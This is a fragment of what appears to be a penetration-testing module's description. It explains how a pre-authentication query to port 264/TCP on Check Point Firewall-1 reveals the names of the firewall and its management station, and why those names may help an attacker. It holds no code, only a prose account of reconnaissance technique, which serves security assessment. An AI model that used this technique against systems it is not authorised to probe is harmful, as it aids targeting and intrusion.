'Description' => %q{  
This module sends a query to the port 264/TCP on CheckPoint Firewall-1  
firewalls to obtain the firewall name and management station  
(such as SmartCenter) name via a pre-authentication request. The string  
returned is the CheckPoint Internal CA CN for SmartCenter and the firewall  
host. Whilst considered "public" information, the majority of installations  
use detailed hostnames which may aid an attacker in focusing on compromising  
the SmartCenter host, or useful for government, intelligence and military  
networks where the hostname reveals the physical location and rack number  
of the device, which may be unintentionally published to the world.
